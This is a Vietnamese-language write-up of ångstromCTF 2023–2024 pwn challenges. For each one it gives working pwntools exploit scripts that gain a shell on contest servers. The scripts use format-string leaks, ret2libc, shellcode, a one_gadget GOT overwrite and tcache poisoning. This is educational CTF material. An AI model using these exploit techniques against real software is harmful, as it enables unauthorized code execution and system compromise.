# (writeup) ångstromCTF 2023
## queue
- check file + checksec

- check ida

- bài này là fmtstr đơn giản thôi
- script:
```python
#!/usr/bin/python3
from pwn import *
from base64 import *
from binascii import *
context.binary = exe = ELF('./queue',checksec=False)
flag = b''
for i in range(14,18):
#p = process(exe.path)
p = remote('challs.actf.co',31322)
p.sendlineafter(b'today?',f'%{i}$p')
p.recvuntil(b'nice, ')
output = p64(int(p.recvline()[:-1],16))
flag += output
print(flag)
p.interactive()
```
>actf{st4ck_it_queue_it_a619ad974c864b22}
---
## gaga

- trong 3 cái nc thì cái nc cuối đc cho biết là sẽ cho ta toàn bộ flag, còn 2 cái đầu thì ra phân nữa
- check file + checksec

- check ida

- **main** chỉ vỏn vẹn nhiêu đây nên hướng đi là ret2libc
- sau khi leak libc cơ bản thì thấy local và server hoàn toàn khác nhau
```python
payload = b'A'*8*9
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendlineafter(b'input: ', payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
```
- ta có thể lấy libc trong Dockerfile hoặc trên libc.blukat.me đều đc
- trong Docker là ``libc-2.31.so`` , ở bluekat là ``libc6_2.31-0ubuntu9.9_amd64.so``
- ta pwninit luôn
- và phần còn lại là '/bin/sh' với system thôi, ret để stack né xmm0

- remote lụm flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./gaga2_patched',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
#p = process(exe.path)
p = remote('challs.actf.co',31302)
# gdb.attach(p,gdbscript='''
# b*main+104
# b*main+109
# b*main+114
# b*main+116
# c
# ''')
# input()
pop_rdi = 0x00000000004012b3
ret = 0x000000000040101a
payload = b'A'*8*9
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
p.sendlineafter(b'input: ', payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['puts']
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = b'A'*8*9
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(ret)
payload += p64(libc.sym['system'])
p.sendlineafter(b'input:', payload)
p.interactive()
#actf{b4by's_
```
>actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
---
## widget
- check file + checksec

- check ida

- ở hàm main có set biến **called**, khiến cho mình thực thi lại hàm ``main`` không được (ban đầu tính tạo shell)

- khả năng là ret2win, nhưng khổ là ROPgadget k tồn tại 2 thanh ghi $rdi và $rsi
- ta sẽ chơi dơ nhảy vào **win()** bỏ qua 2 thằng **if**
- vì ta skip khá nhiều nên khi đọc flag từ file, sẽ k tồn tại nơi có thể ghi vào
- hint:`` thanh $rbp trỏ ở vùng địa chỉ được phép ghi``
- vậy việc của ta là jump tới **win** hoi
- ta sẽ nhảy ở \<win+117> tức là sau 2 thằng kiểm tra **if**

- ở lần nhập đầu là Ammount, sẽ thiết lập lượng byte cho phép ở lần nhập thứ 2, ta sẽ chọn 64 byte
- ở lần nhập thứ 2 Content, ta sẽ ow save_rbp, pop_rbp, win
- với pop_rbp là 0x00000000404a00 ( tăng thêm 0xa00 cho dư dả)

- ayo

- remote

- thấy hiện tượng lạ ở đây =)))
- theo như nghe hướng dẫn đây là lệnh chống bruitforce
- việc ta cần làm làm copy cái ``curl -sSfL https:/...`` qua terminal khác để run
- mỗi lần kết nối tới server sẽ có 1 cái "proof of work" (chứng minh cái work mình k có bruteforce)
- nên ta thêm 1 số tham số
```python
p.recvuntil(b"solution: ")
key = input()
p.sendline(key)
```

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./widget',checksec=False)
#p = process(exe.path)
p = remote('challs.actf.co',31320)
# gdb.attach(p, gdbscript='''
# b*main+162
# b*main+227
# b*main+334
# c
# ''')
# input()
p.recvuntil(b"solution: ")
key = input()
p.sendline(key)
pop_rbp = 0x000000000040127d
payload = b'64'
p.sendlineafter(b'Amount: ',payload)
payload = b'A'*40
payload += p64(pop_rbp) + p64(0x00000000404a00)
payload += p64(exe.sym['win']+117)
p.sendafter(b'Contents: ',payload)
p.interactive()
```
> actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}
---
## leek
- check file + checksec

- check ida
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+0h] [rbp-50h]
int j; // [rsp+4h] [rbp-4Ch]
__gid_t rgid; // [rsp+8h] [rbp-48h]
char *v9; // [rsp+10h] [rbp-40h]
void *s; // [rsp+18h] [rbp-38h]
char s2[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+48h] [rbp-8h]
v12 = __readfsqword(0x28u);
v3 = time(0LL);
srand(v3);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("I dare you to leek my secret.");
for ( i = 0; i < N; ++i )
{
v9 = (char *)malloc(0x10uLL);
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
getrandom(s, 32LL, 0LL);
for ( j = 0; j <= 31; ++j )
{
if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == '\n' )
*((_BYTE *)s + j) = 1;
}
printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
input(v9);
printf(":skull::skull::skull: bro really said: ");
puts(v9);
printf("So? What's my secret? ");
fgets(s2, 33, stdin);
if ( strncmp((const char *)s, s2, 0x20uLL) )
{
puts("Wrong!");
exit(-1);
}
puts("Okay, I'll give you a reward for guessing it.");
printf("Say what you want: ");
gets(v9);
puts("Hmm... I changed my mind.");
free(s);
free(v9);
puts("Next round!");
}
puts("Looks like you made it through.");
win();
return v12 - __readfsqword(0x28u);
}
```
- hàm ``input()``

- mục tiêu là hàm ``win()``

- ở đây ta thấy 1 vòng lặp cấp phát bộ nhớ liên tục


> với số lần lặp là từ 0 đến bé hơn 0x64=100 tổng là 100 lần
- hàm **if()** ở đây ta cần phải thoả mãn

> so sánh s và s2 trong 32 byte
- s2 được nhập từ **fgets()** ở trên
- và s dc lấy từ hàm **input(v9)**
> với v9 dc nhập vào từ đầu

```c
fgets(s,1280,stdin)
```
- biến v9 còn dược lấy làm cho hàm malloc
- đoán nhẹ đây là kỹ thuật Heap Overflow
- ta debug thử, so sánh 32 byte thì ở **input(v9)** và fgets(s2) ta đều nhập 32
- break tại hàm ``strncmp`` so sánh s và s2

- địa chỉ của s và s2

- lúc này ta thấy 2 đối số hoàn toàn khác nhau, có thể malloc chưa đủ
- debug lần 2, ta sẽ cho s 50 byte, s2 vẫn 32 byte

- lúc này có vẻ đúng, nhưng đã đủ 32 byte so sánh giống nhau chưa thì chưa rõ

- có lẽ chưa =)))))
> 32 là full cái heap 0x4052a0
> 40 là full dòng đầu 0x4052c0 (8)
> 48 là full dòng 2 của 0x4052c8 (16)
> 50 là liếm thêm 2 byte của địa chỉ tiếp theo
> mục tiêu là ghi full 0x4052d0 (24) đến full 0x4052d8 (32)
> tổng cần ghi: 64 byte
- coi như ta đã pass dc hàm **if(strncmp)** đó đi
- tiếp theo đến **gets(v9)**

- đọc **v9** xong r **free(s)** rồi **free(v9)**
- lúc này lần nhập là bên trong heap

- sau lần nhập đó là **free()** 2 lần với 2 biến **s** và **v9**
- vậy thì ta cho payload vừa đủ:
```
offset giữa 2 heap 0x4052a0 và 0x4052c0 = 24 byte
```

```
tổng byte malloc tạo ra là 0x10 + 0x20 = 0x30
kèm theo đó là 0x1 của bits in use
```
> payload = b'A'*24 + p64(0x31)

- vì sendafter hay sendlineafter lâu lắc nên bỏ after luôn cho nó lẹ

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./leek',checksec=False)
#p = process(exe.path)
p = remote("challs.actf.co",31310)
# gdb.attach(p, gdbscript='''
# b*main+431
# c
# ''')
# input()
for i in range(0,100):
log.info("round: " + str(i))
payload = b'A'*64
#p.sendlineafter(b'OVERFLOWS!!): ', payload)
p.sendline(payload)
payload = b'A'*32
#p.sendafter(b'secret? ',payload)
p.send(payload)
payload = b'A'*24 + p64(0x31)
#p.sendlineafter(b'want: ',payload)
p.sendline(payload)
p.interactive()
```
> actf{very_133k_of_y0u_777522a2c32b7dd6}
---
# (writeup) ångstromCTF 2024
## Presidential
- source:
```py
#!/usr/local/bin/python
import ctypes
import mmap
import sys
flag = "redacted"
print("White House declared Python to be memory safe :tm:")
buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))
u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)
f()
del fpointer
buf.close()
print("byebye")
```
- viết bằng python nhưng phương thức hoạt động là C
- đọc source cũng có thể hiểu: nhập vào **u_can_do_it** rồi gán vào **buf**, sau đó gọi hàm **f()**
>nói nôm na là thực thi ấy
- solution: chèn shellcode dưới dạng byte
``48BB2F62696E2F736800534889E74831F64831D248C7C03B0000000F05``

>actf{python_is_memory_safe_4a105261}
## Exam
- basic file check

- check ida


>**main()**
- dễ dàng thấy đc mục tiêu ta là **trust_level** > **threshold**
- input ta là "%d" (4 byte), không được nhập âm
- setup **trust_level** bằng 0 trừ đi input

- và **trust_level** sẽ -1 mỗi lần mình input chuỗi "I'm comfirm ... this exam.\n"
- value của **threshold**:

- thế ta sẽ nhập **detrust** là `0x7fffffff` (dương cực đại) rồi trừ để ra **trust_level** là `0x80000001`
- để lớn hơn **threshold** :`0x7ffffffe`, ta cần **trust_level** = `0x7fffffff` bằng cách giảm đi 2 lần
> `0x80000001` -> `0x80000000` -> `0x7fffffff`
- get flag:

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./exam', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+179
c
''')
input()
if args.REMOTE:
p = remote('challs.actf.co',31322)
else:
p = process(exe.path)
GDB()
sla(b': ',str(0x7fffffff))
payload = b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.'
sla(b': ',payload)
sla(b': ',payload)
p.interactive()
#actf{manifesting_those_fives}
```
>actf{manifesting_those_fives}
## Bap Bap Bap
- basic file check

- check ida

- dễ thấy được đây là lỗi BOF lẫn FMTSTR
- ta chỉ việc vừa leak vừa return lại main (PIE tắt)
- rồi ret2libc

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./bap_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+81
c
''')
input()
if args.REMOTE:
p = remote('challs.actf.co',31323)
else:
p = process(exe.path)
GDB()
payload = b'%29$p|%13$p'
payload = payload.ljust(0x18,b'\0')
payload += p64(exe.sym.main+5)
sla(b': ',payload)
libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - 0x29e40
stack_leak = int(p.recv(14),16)
info("Libc leak: " + hex(libc_leak))
info("Stack leak: " + hex(stack_leak))
info("Libc base: " + hex(libc.address))
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym.system
pop_rdi = 0x000000000002a3e5 + libc.address
payload = b'a'*0x18
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rdi+1)
payload += p64(system)
sla(b': ',payload)
p.interactive()
#actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____}
```
>actf{baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap____}
## og
- basic file check

- check ida

>**go()**
- thấy được BOF lẫn FMTSTR, có PIE tắt nhưng ở đây có canary và chương trình chỉ nhập 1 lần rồi kết thúc
- tận dụng khả năng check canary từ `__stack_chk_fail` để ghi đè lại **main()**
- sau đó dùng fmtstr để ow one_gadget

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./og_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*go+126
b*go+163
c
''')
input()
if args.REMOTE:
p = remote('challs.actf.co',31312)
else:
p = process(exe.path)
GDB()
main = exe.sym.main
diff = 0x1255
payload = b'%12$p||%15$p'
payload += f'%{diff-0x31+0x13}c%10$hn'.encode()
payload = payload.ljust(0x20,b'a')
payload += p64(exe.got.__stack_chk_fail)
sla(b'name: ',payload)
p.recvuntil(b'around, ')
stack_leak = int(p.recvuntil(b'||',drop=True),16) - 0x48
libc_leak = int(p.recv(14),16)
libc.address = libc_leak - 0x29d90
info("stack leak: " + hex(stack_leak))
info("Libc leak: " + hex(libc_leak))
info("Libc base: " + hex(libc.address))
og = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
one_gadget = libc.address + og[1]
ow = exe.got.setbuf
info("One gadget: " + hex(one_gadget))
package = {
one_gadget & 0xffff: ow,
one_gadget >> 16 & 0xffff: ow+2,
one_gadget >> 32 & 0xffff: ow+4,
}
order = sorted(package)
payload = f'%{order[0]}c%11$hn'.encode()
payload += f'%{order[1] - order[0]}c%12$hn'.encode()
payload += f'%{order[2] - order[1]}c%13$hn'.encode()
payload = payload.ljust(0x28,b'a')
payload += flat(
package[order[0]],
package[order[1]],
package[order[2]],
)
sla(b'name: ',payload)
p.interactive()
#actf{you_really_thought_you_could_overwrite_printf_with_system_huh}
```
>actf{you_really_thought_you_could_overwrite_printf_with_system_huh}
## heapify
- basic file check

- source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define N 32
int idx = 0;
char *chunks[N];
int readint() {
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}
void alloc() {
if(idx >= N) {
puts("you've allocated too many chunks");
return;
}
printf("chunk size: ");
int size = readint();
char *chunk = malloc(size);
printf("chunk data: ");
// ----------
// VULN BELOW !!!!!!
// ----------
gets(chunk);
// ----------
// VULN ABOVE !!!!!!
// ----------
printf("chunk allocated at index: %d\n", idx);
chunks[idx++] = chunk;
}
void delete() {
printf("chunk index: ");
int i = readint();
if(i >= N || i < 0 || !chunks[i]) {
puts("bad index");
return;
}
free(chunks[i]);
chunks[i] = 0;
}
void view() {
printf("chunk index: ");
int i = readint();
if(i >= N || i < 0 || !chunks[i]) {
puts("bad index");
return;
}
puts(chunks[i]);
}
int menu() {
puts("--- welcome 2 heap ---");
puts("1) allocate");
puts("2) delete");
puts("3) view");
}
int main() {
setbuf(stdout, 0);
menu();
for(;;) {
printf("your choice: ");
switch(readint()) {
case 1:
alloc();
break;
case 2:
delete();
break;
case 3:
view();
break;
default:
puts("exiting");
return 0;
}
}
}
```
- thấy luôn BUG từ **gets()** nhưng lạ một cái khi **malloc()** cái đầu, chương trình tự **malloc()** thêm 1 chunk để copy payload dù trong source lẫn ida không có chức năng ấy

>tạo chunk 0x30 nhưng lòi thêm chunk bên dưới
- có set NULL sau khi **free()** dù cho **malloc()** size thoải mái
- có **gets()** ta có thể ctrl được top_chunk
- nhưng libc đi kèm là 2.35 ---> k có hook lẫn House of Orange
- nhưng lại có House of Tangerine (giống Orange) exploit được
### leak libc
- đầu tiên ta sẽ tạo fake chunk
```py
add(0x25, b'a'*0x10) #idx0
add(0x30, b'A') #idx1
add(0x20, b'B') #idx2
add(0x60, b'C') #idx3
add(0x1000, p64(0x101)*0x100) #idx4
delete(2)
payload = b'B'*0x20
payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3
add(0x20, payload) #idx5 #reused chunk idx_2
delete(3) #ubin
add(0x60, b'D') #idx6
show(4)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
```
- ta sẽ bỏ qua chunk đầu (vì dưới cái chunk tự **malloc()** từ đề, khó khai thác)
- sau đó ta sẽ xoá 1 chunk rồi **malloc()** lại cùng size để reused chunk rồi ow next_chunk có size sẽ vào ubin nếu **free()**
- khi đã có ubin, đồng nghĩa với next_chunk của ubin sẽ chứa **main_area** dù mình chưa free (do sự gộp chunk)
- rồi ta **malloc()** lại size bất kì rồi show next_chunk của ubin
### leak heap
- để leak heap, ta cứ việc tạo chunk mới rồi **free()** sẽ chứa fw_pointer
```py
add(0x60, b'E') #idx7
delete(7)
show(4)
leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))
heap_leak = leak << 12
info('heap leak: ' + hex(heap_leak))
```
> lưu ý libc 2.35 là có cơ chế xor bảo vệ tcache
### ow got
- ta sẽ tcache poisoning bằng cách tạo 3 tcache rồi sửa fw_pointer
- về ow GOT thằng nào thì mình sẽ debug sâu khi **puts** ra khi show nha

> call tới hàm `*ABS*+0xa86a0@plt` hơi lạ

> rồi jmp tới $rip+0x1f1bfd

> vậy offset mình là 0x21a098
> cộng 8 do nó return địa chỉ tiếp theo
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./heapify', checksec=False)
libc = ELF("./libc.so.6",checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*alloc+84
b*alloc+125
b*alloc+198
b*delete+130
b*view+130
c
''')
input()
if args.REMOTE:
p = remote('challs.actf.co',31501)
else:
p = process(exe.path)
def add(size, data):
sla(b"choice:", b"1")
sla("size: ", str(size))
sla("data: ", data)
def delete(idx):
sla(b"choice:", b"2")
sla("index: ", str(idx))
def show(idx):
sla(b"choice:", b"3")
sla("index: ", str(idx))
add(0x25, b'a'*0x10) #idx0
add(0x30, b'A') #idx1
add(0x20, b'B') #idx2
add(0x60, b'C') #idx3
add(0x1000, p64(0x101)*0x100) #idx4
delete(2)
payload = b'B'*0x20
payload += p64(0) + p64(0x611)[:-1] #prev_size #size_idx3
add(0x20, payload) #idx5 #reused chunk idx_2
delete(3) #ubin
add(0x60, b'D') #idx6
show(4)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
add(0x60, b'E') #idx7
delete(7)
show(4)
leak = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))
heap_leak = leak << 12
info('heap leak: ' + hex(heap_leak))
#setup tcache
add(0x20, b'F') #idx8
add(0x20, b'G') #idx9
add(0x20, b'H') #idx10
delete(10) #10
delete(9) #9->10
delete(8) #8->9->10
GDB()
add(0x100, b'/bin/sh\0') #idx11
payload = b'I'*0x20
payload += p64(0) + p64(0x31) #prev_size_idx_9 #size_idx9
payload += p64((heap_leak >> 12)^(libc.address+0x21a098-8))[:-1] #9->victim
add(0x20, payload) #idx12
#bin: 9->victim
info("victim: " + hex(libc.address+0x21a098))
add(0x20, b'J') #idx13 #junk_idx_9
add(0x20, b'K'*8 + p64(libc.sym.system)[:-1]) #idx14 #victim
show(11)
p.interactive()
#actf{wh3re_did_my_pr3c1ous_fr33_hook_go??}
```
>actf{wh3re_did_my_pr3c1ous_fr33_hook_go??}